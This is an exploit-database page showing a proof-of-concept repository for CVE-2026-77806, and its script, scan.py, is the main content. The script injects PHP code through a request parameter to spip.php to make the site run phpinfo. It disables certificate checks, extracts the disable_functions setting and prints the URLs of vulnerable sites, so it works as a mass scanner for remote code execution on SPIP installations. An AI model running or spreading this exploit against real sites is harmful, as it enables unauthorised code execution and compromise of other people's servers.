Exploit database

GH-7da153952b4d492dd130f7a527658e25

cuteecat/cve-2026-77806

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-77806

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files4
cuteecat/cve-2026-77806Revision 523db968f996

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

scan.py

Python · 1,027 bytes
import warnings
warnings.filterwarnings("ignore")               
import requests, sys, re, random, string, urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 
requests.packages.urllib3.disable_warnings()

url = (sys.argv[1]).rstrip('/')
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}

try:
    injection = '\nheader("X-Spip-Filtre: intval|phpinfo");\n'
    key = ''.join(random.choice(string.ascii_letters) for _ in range(6))
    r = requests.get(url + "/spip.php", params={key: injection},
                     headers=headers, timeout=8, verify=False)

    phpinfo_markers = ['PHP Version', 'PHP Extension', 'phpinfo()']
    matches = sum(1 for m in phpinfo_markers if m in r.text)

    if matches >= 2:
        import re
        m = re.search(r'disable_functions.*?<td[^>]*>([^<]+)', r.text, re.I | re.M)
        if m and m.group(1).strip():
            print("disable_functions:", m.group(1).strip())
        print(f"{url}")
except Exception:
    pass